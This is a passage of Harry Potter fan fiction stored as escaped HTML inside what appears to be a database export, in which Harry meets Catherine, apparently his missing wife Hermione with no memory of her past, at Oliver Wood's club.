*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace burst\ninto their apartment with a huge grin on her face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Guess\nwhat I\'ve just scored?&quot; she said excitedly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nlooked up from the kitchen table where she had a large book open in front of\nher.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I don\'t\nknow. What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Two\ninvitations to the Puddlemere United celebration party!&quot; Grace squealed in\nexcitement.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How on\nearth did you manage to get those?&quot; Catherine asked incredulously. When\nshe had arrived home from work, the newscasters on the Wizarding Wireless\nNetwork had excitedly announced of Puddlemere\'s win that day, and how now\nthey\'d go on to represent Scotland in the next World Cup. She enjoyed\nQuidditch, she definitely wasn\'t a fanatic like Grace, but they had watched\nnumerous games together and it had been fun.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I have\nmy sources.&quot; Grace replied mysteriously. &quot;We\'ll have to use Floo\nPowder, the party is at Oliver Wood\'s club.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nraised her eyebrows teasingly. &quot;Oliver Wood huh.&nbsp; Are you sure the party\'s there or are you\njust trying to snag him again?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace feigned\nshock. &quot;What? Me?&quot; she laughed. &quot;Wouldn\'t\' I love to be Mrs.\nOliver Wood. But I hear he\'s got himself someone these days.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\npretended to swoon. &quot;Oh no, I guess this means every single wizard tonight\nhad better be on his guard.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Grace laughed\nagain. &quot;Get yourself ready by 7.&quot; She swept out of the room before\nCatherine could bring up an argument.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Looking at the\nclock on the wall, Catherine deducted that she should start getting ready.\nHopping into the shower, she let her long hair out of the bun that had held it\nback from her face while she read. Letting the hot water rush over her, she\nrecalled the scene from earlier that day with Harry Potter. He had plagued her\nmind since that morning. No matter how busy she kept herself, her thoughts\ndrifted back to his emerald green eyes and shiny black hair. She sighed\nheavily, wishing once again she could remember her past and who was in it.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Stepping into\nher bedroom, she opened her closet to see what sort of clothes she had to wear.\nShe pushed her more casual clothes aside to reveal her more formal clothes. She\npulled down a long red dress, and shook her head no, not red tonight. Pushing\nmore dresses aside, she smiled as she saw the perfect one, a light green slim\ncut dress, which ended right above her knees, with spaghetti straps. Grace had\ninsisted she buy it, claiming it offset her dark toned hair and skin. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Laying it\ncarefully across her bed, she pulled the towel from her head and her very long\nhair bounced down almost to her waist. Running a comb through it, she cast a\ndrying spell that left it straight and full. Pulling it back on each side, she\nsecured it with a clasp, and then pulled a lock from each side and let them\nframe each side of her face. She pulled the dress on over her head and zipped\nit up. Heels that matched the dress went on next, and then she called Grace in\nto let her put a light dusting of makeup on her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You look\namazing Catherine.&quot; Grace said honestly. She was wearing a long black\ndress, and had pulled her long blond hair into an elegant chignon at the nape\nof her neck.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Same for\nyou!&quot; Catherine smiled at her friend. &quot;You\'re going to knock them\ndead tonight!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh I\nhope so.&quot; Grace said fervently. The clock in the hallway chimed 7 exactly,\nand Grace pulled Catherine down to their fireplace.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;The\nGolden Snitch!&quot; Grace threw some Floo Powder into the fireplace and\ngrinned at Catherine. &quot;See you there!&quot; with that she disappeared into\nthe flames.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine took\na pinch and threw it in. &quot;The Golden Snitch!&quot; she repeated, and\nwondered what the night would have in store.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Well I\nhope this was quick enough for you guys, not a lot of romance in this chapter I\nknow, but guess who will be at the same party? Woohoo!! ;) </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Thanks again\nto everyone who reviewed&#8230;the reasons for Hermione\'s disappearance will come out\nas the story progresses, and how it happened as well. Happy reading!</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">While you\'re\nwaiting, please check out some of my other fics, and those done by Ryoko Blue!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 4, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 4</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">This chapter\nis dedicated to Lucy, my friend Sara\'s dog, who had to be put to sleep on Friday\n April 12, 2002. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nmanaged to not fall flat on her face as she was hurled from the fireplace in\nthe back room at the Golden Snitch. Coughing from the soot she had spun up, she\nquickly pulled her wand out (she had shrunk it to fit in her small evening bag)\nand cleaned herself off. Looking around for Grace and not finding her,\nCatherine figured she had gone to the club area already. Oliver had the\nfireplace put in back as to not have people stumbling out of it in the midst of\nthe club. Walking through the door, she spied Grace chatting up a good-looking\nwizard who was leaning against the bar.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You work\nfast.&quot; Catherine commented, coming up behind Grace.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Cath!&quot;\nGrace exclaimed. &quot;When did you get here?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;About\nthirty seconds after you.&quot; She replied dryly. &quot;I\'m going to go put my\npurse down and get a drink, I\'ll meet up with you later.&quot; She walked off\ntowards the coatroom and then found herself a table far enough away so that she\ncould observe and not be bothered too much. Ordering a glass of red wine, she\nsat back and observed the people who were arriving. Ordinarily, she didn\'t\nreally care for parties and clubs too much, preferring to sit at home by a fire\nwith a fat book. She enjoyed her own company for the most part and didn\'t mind\nbeing alone.&nbsp; Catherine smiled as she\nspotted Grace pulling her man for the evening onto the dance floor. Oliver\ncertainly had a good turnout. The alcohol was flowing freely, a famous wizard\nDJ was playing excellent dance music, and everyone seemed to be having a good\ntime.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Including a\ncertain person who had just stepped in the door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry Potter.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She drew a\nsharp intake of breath as she tried not to obviously stare at him. He had\nchanged from the robe he wore earlier to a green chenille sweater that matched\nhis eyes exactly, and a pair of black dress pants. His hair was in disarray as\nusual, his bangs pushed to one side so his unusual lightning bolt scar was\nvisible. Catherine could see Caitlyn clinging to his hand tightly. She was\nsurprised to see children here at a club like this, but she supposed they must\nbe friends of Oliver\'s. She finished off her wine and looked for a waiter, but\ncouldn\'t find one in the ever growing crowd. She sighed and left the comfort of\nher tucked away table and tried to fight her way back to the bar. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry watched\nas Caitlyn and Blue were whisked away by Oliver to an upstairs room where they\ncould have fun with some other kids their age, he was hoping Caitlyn would meet\nsome of her future Hogwarts friends there.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Have a\ngood time!&quot; he called to her and she waved back in return. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Shall we\ngo have a drink mate?&quot; Ron asked, tugging on his light blue dress shirt\nthat Lavender had made him wear.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry and\nLavender both nodded and they all wove their way through the throngs of dancing\npeople to the bar.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What do\nyou want?&quot; Ron shouted to Lavender. She asked for a cosmopolitan, and\nHarry requested a Merlot, while Ron decided on a vodka martini. They all took\ntheir drinks and headed back out into the club.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hey!&quot;\nOliver cried as they approached. He had his arm around a strikingly beautiful\nwoman. &quot;Glad you made it!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;This is\nquite a place Oliver.&quot; Harry said, taking a better look around. &quot;I\nnever figured you for the club type.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I really\nwasn\'t until a few years ago.&quot; Oliver replied. &quot;This place was a\nwreck when I first came upon it, and a steal at that. The whole idea of a club\nwas born from this woman here.&quot; He grinned at the girl he had his arm\naround.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;This is\nSara, by the way.&quot; Oliver said. &quot;She\'s my fianc&#233;e.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Congratulations\nOliver.&quot; Harry replied. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sara,\nthis is Ron and Lavender Weasley, and this is Harry Potter.&quot; Oliver made\nthe introductions.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nice to\nmeet all of you.&quot; Sara replied, tossing her dark red hair over her\nshoulder and smiling at Oliver. &quot;Care to tango with me?&quot; without\nwaiting for an answer from Oliver, she was pulling him to the dance floor,\nwaving at Ron, Harry and Lavender.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Lavender\nturned her eyes on Ron. &quot;She\'s got the right idea.&quot;&nbsp; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No\nway.&quot; Ron said. &quot;You know how bad a dancer I am.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Please?&quot;\nLavender wheedled. Harry laughed at him. Lavender whirled around to face him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\ndance with me then.&quot; She said. Ron sniggered and Harry was pulled to the\ndance floor much like Oliver had moments before. He found himself pleasantly\nsurprised at the fact that he was able to move his body easily to the music\nthat was being pumped all over the large room. He and Lavender were pressed\nclose together when she happened to look over his shoulder. Her eyes widened.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;\nHarry asked, catching the expression on her face.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Did you\nsee who is here?&quot; Lavender asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No.&quot;\nHarry said. &quot;Who?&quot; Lavender spun him around and his jaw dropped.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">It was\nHermione, or rather, as she had introduced herself, Catherine. She was sitting\nidly at the bar, and looked a little bored. Her long hair was pulled back from\nher face, and her green dress was clinging to curves that made Harry ache in\nplaces he hadn\'t known existed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;She was\nlooking at you.&quot; Lavender replied wickedly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?\nShe was not.&quot; Harry said, flustered.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yes she\nwas.&quot; Lavender replied. &quot;You should go talk to her.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry rolled\nhis eyes. &quot;I\'ve already made a fool out of myself in front of her today by\ncalling her Hermione.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well&#8230;&quot;\nLavender said. &quot;You still don\'t\' know she isn\'t. I could go talk to her,\nbut I didn\'t know her as well as you and Ron did.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry realized\nthis was true- Hermione and Lavender had really only been friends after they\nhad graduated from Hogwarts.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Go\non.&quot; Lavender said, giving him a push. Harry pushed his way through the\npeople and made his way to the bar. He came up behind Catherine and tentatively\ntapped her on the shoulder.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hi.&quot;\nHe said, bending lower so she could hear. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\njumped and dropped her glass on the floor.&nbsp;\nIt shattered on the floor, her wine splashing out in every direction.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh\ncrap.&quot; She muttered, her face going bright red. She bent over to try and\nwipe up some of the mess at the same time as Harry, and they knocked heads.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ouch!&quot;\nthey both said at the same time. Catherine looked up into eyes that were as\ngreen as a lush meadow.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I am so\nsorry!&quot; Harry apologized profusely. If she didn\'t think he was a complete\nidiot before, he was positive she would now.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No, it\'s\nmy fault.&quot; Catherine said, her face still flaming. &quot;I\'m so\nclumsy.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I&#8230; I\nshouldn\'t have snuck up behind you like that.&quot; Harry said. &quot;It\'s my\nfault.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No\nreally, you have no idea how klutzy I really am, I dropped the glass, it\'s my\nfault.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah but\nyou wouldn\'t have dropped it if I hadn\'t come up behind you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstopped for a moment and thought. &quot;You know, you\'re right. This is your\nfault.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry opened his\nmouth but no sound came out. He stared at her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m just\nkidding!&quot; Catherine said, the first really genuine smile of the evening\nbreaking out onto her face. Harry\'s face relaxed and he smiled as well.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nknow, I think you were right before&#8230;your fault.&quot; He said and they both\nlaughed. The tension that had been between them evaporated, and they both felt\nmore comfortable than before.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;May I\nsit down?&quot; Harry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Long as\nyou don\'t break the stool.&quot; She said in reply.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Funny.&quot;\nHarry grinned at her. &quot;Look, since I startled you and you dropped your\nglass, can I buy you another drink?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Okay.&quot;\nShe replied. &quot;Merlot.&quot; She told the bartender. Harry stared- Merlot\nwas the drink he and Hermione used to have together all the time. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you\nall right?&quot; Catherine asked him. Harry shook his head to clear his\nthoughts.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nfine.&quot; He replied. &quot;I\'ll have the same.&quot; He told the bartender,\nand the man flicked his wand and instantly two glasses of red wine were in\nfront of them. Harry looked back at Ron, who was giving him a huge grin and\nmotioning with his head for Harry to take Catherine someplace more private.\nHarry frowned and shook his head at Ron; it wasn\'t the right time for something\nlike that. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry knew\nhe\'d have to take this slowly; he couldn\'t come right out and ask Catherine if\nshe was his missing wife, and he certainly didn\'t want to make her wary of him\nin the least bit. It took him a minute to realize that Catherine was looking at\nhim again with an amused expression.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Are you sure\nyou\'re okay?&quot; she asked. &quot;You look really spaced out.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yeah,\nI\'m really fine.&quot; Harry said. &quot;It\'s just been a really long day, what\nwith meeting old friends and showing Caty around. It\'s nice being back\nhere.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why did\nyou leave?&quot; she asked. He was silent a moment and she noticed a flicker of\npain across his face. &quot;I\'m sorry, am I being too nosy?&quot; she asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled\nbriefly. &quot;No, it\'s all right&#8230;but the reason I left is a rather long, and\nnot too happy story. I\'d rather not bore you with the details.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nnodded; she supposed she didn\'t feel too put out. &quot;It\'s all right.&quot;\nShe replied. A lock of her dark hair fell over her shoulder and she pushed it\nback, smoothing it down with her hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'d\nrather talk about you.&quot; Harry said, a bit boldly. She looked surprised.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;There\'s\nreally not much to know about me.&quot; She said. &quot;I mean, I work in a\nbookstore, I like to read books, listen to music&#8230;I\'m pretty simple.&quot;\nCatherine shrugged.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">\'Hermione&#8230;Hermione&#8230;\'\nHarry ticked off everything she said in his head. God, this woman was more and\nmore like Hermione the more he found out about things she liked and disliked.\n&quot;Do you come downtown often, like this?&quot; he asked aloud.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">She chuckled.\n&quot;No, I rarely come to clubs. My roommate got us entry tonight, and I\nfigured why not?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A comfortable\nsilence settled between them for a few moments. Harry looked over the dance\nfloor and saw that Lavender had finally managed to drag Ron from the table, and\nthey were pressed together amidst all the others.&nbsp; He looked back at Catherine and jerked his\nhead towards the dance floor.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Want to\ntry it?&quot; he asked. Her eyebrows rose.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Me,\ndance? It\'s rather obvious that you don\'t know me well.&quot; She said wryly.\nHarry, amazed at his own daring, put his hand on hers and gripped it lightly.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Believe\nme, no one is worse than I am.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well I\nsaw you out there earlier, you didn\'t look too bad&#8230;&quot; Catherine said and\nimmediately wanted to smack herself. \'Great, why don\'t you just admit you were\nstaring at him all night?\' she thought to herself.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">But to Harry\'s\ncredit, he merely smiled and didn\'t embarrass her. &quot;It\'s really not that\nhard.&quot; He said as they squeezed through the tightly molded together\ncouples currently inhabiting the floor. He purposely took them to a spot near\nwhere Ron and Lavender were currently pressed together.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Surprisingly\nenough, Catherine realized that Harry was right; dancing wasn\'t too hard,\nespecially since it didn\'t require much movement, and that didn\'t matter\nbecause there was almost no room to move.&nbsp;\nShe found herself pressed up against Harry more often that not, and it\nwasn\'t something she minded in the least. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Is that\nOliver Wood?&quot; she asked at one point, looking over Harry\'s shoulder at the\nbrown haired man and the redheaded woman with him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure\nis.&quot; Harry said. &quot;We were Quidditch teammates at Hogwarts, so I\'ve\nknown him for years.&quot; He looked at her and smiled. &quot;Want me to\nintroduce you?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure. My\nroommate\'s going to kill me though, she\'s had a crush on him for quite some time.&quot;\nCatherine said, rather mischievously, and Harry laughed. He led her over to\nwhere Oliver and Sara were snogging fiercely and cleared his throat loudly. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oliver,\nSara, this is Catherine&#8230;&quot; Harry looked at her; he had forgotten her last\nname already. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Catherine\nBeaumont.&quot; She stuck her hand out to Oliver, then Sara. &quot;It\'s nice to\nmeet you both.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Sara smiled at\nher. &quot;Likewise.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nknow,&quot; Oliver said, looking at her. &quot;You remind me of someone&#8230;I can\'t\nput my finger on who though.&quot; Oliver smiled. &quot;I\'m sure it\'ll come to\nme.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We were\njust going up to the roof to get a bit of fresh air. Do you guys want to\ncome?&quot; Sara asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked\nat Catherine, who nodded. &quot;Sure.&quot; He agreed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The four of\nthem went into the back of the club, where Oliver pressed a button in the wall,\nwhich opened to a glass elevator.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nice.&quot;\nHarry commented. They all stepped inside and the elevator raised them up till\nit opened, and the four found themselves on top of Oliver\'s club. The roof was\nmade of white tile, when Harry looked closer; he found it to be made of marble.\nThere were lanterns strategically placed along the half wall, which made for\nsome rather subtle lighting. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;This is\nrather swanky.&quot; Catherine said, voicing his thoughts. She looked over her\nshoulder; Oliver and Sara had moved further away from them into some shadows\nand were already snogging again. &quot;Rather romantic too. I wonder why no one\nelse is up here.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry leaned\non one of the half walls. &quot;I don\'t think Oliver has this set up for public\nuse, he just brings a few people up at a time like us.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Another\nsilence stretched between them for a long moment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;So&#8230;&quot;\nCatherine said, trying to get a conversation going again. &quot;What do you do,\nsince you live in the Muggle world?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled.\n&quot;You probably wouldn\'t believe me if I told you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Try\nme.&quot; She said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I play\nthe piano in a Muggle bar on weekends.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Funny.\nYou\'re a real comedian.&quot; She said.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\nknow, I\'ve never tried standup. I should sometime, I hear I\'m a funny guy.&quot;\nHarry replied with a smile on his lips.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;No\nreally, what do you do?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I just\ntold you!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Catherine\nstared at him. &quot;You, Harry Potter, play piano in a Muggle bar?&quot; her\ntone was disbelieving.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He ran a hand\nthrough his wild hair. &quot;Well, I won\'t lie. I don\'t need the money, my\nparents left me quite a fortune that would see me through my life and depending\non how I spent it, Caitlyn\'s. I just do this for a little extra cash, and it\'s\nfun.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\nsee.&quot; She said. &quot;What do you normally play?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He shrugged.\n&quot;Usually just whatever people request. Sometimes it\'s whatever is popular,\na lot of the time, believe it or not, it\'s classical.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;At a\nbar?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Yup.\nIt\'s not really one of those seedy places, it\'s a rather nice bar&#8230;usually the\ncrowd is people on dates, or business meetings even.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What\nelse do you do in your free time?&quot; she quizzed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well, I\nspend a lot of time with Caty Cat.&quot; He said. &quot;I\'ve also discovered in\nthe past few years that I\'m a huge movie fanatic.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Muggle\ntelevisions are the best aren\'t they?&quot; she agreed. She and Grace had\ninvested in one a few years back, and Catherine had acquired quite a taste in\nmovies herself.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What is\nyour favorite?&quot; Harry asked her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Hmm&#8230;that\'s\ntough to say, but if I had to pick one&#8230;it\'d be Braveheart.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry threw\nback his head and laughed. &quot;You just like Mel Gibson in a kilt!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nnot so!&quot; she protested, but she felt her cheeks flame. &quot;All right,\nmaybe a little, but that\'s not the only reason I like it!&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smirked\nin reply. &quot;Yeah right.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nwhat is yours?&quot; she countered. Now it was Harry\'s turn to blush.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You\'re\ngoing to laugh if I tell you.&quot; He replied.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Maybe I\nwill, maybe I won\'t.&quot; she said. &quot;You\'ll only know if you tell\nme.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry dropped\nhis head and mumbled something.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Steel\nMagnolias.&quot; He mumbled louder this time. &quot;It\'s a good movie!&quot; he\ncried when Catherine started to laugh. &quot;It is!&quot; he said in his\ndefense, but he was smiling too by this 